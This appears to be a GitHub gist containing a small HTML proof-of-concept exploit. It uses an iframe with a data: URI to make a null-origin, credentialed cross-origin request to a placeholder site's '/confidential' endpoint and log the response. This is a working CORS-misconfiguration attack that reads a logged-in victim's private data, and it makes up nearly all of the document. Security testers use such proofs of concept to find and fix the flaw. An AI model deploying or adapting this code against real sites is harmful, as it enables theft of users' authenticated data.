Created
April 24, 2018 07:27
-
-
Save avicoder/3461ea78c81e516bd9de87874476742b to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<html> | |
<body> | |
<iframe src='data:text/html,<script> | |
var xhr = new XMLHttpRequest(); | |
xhr.open("GET", "https://vuln-app.com/confidential", true); | |
xhr.withCredentials = true; | |
xhr.onload = function () { | |
if (xhr.readyState === xhr.DONE) { | |
console.log(xhr.response); | |
} | |
}; | |
xhr.send(null); | |
</script>'></iframe> | |
</body> |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment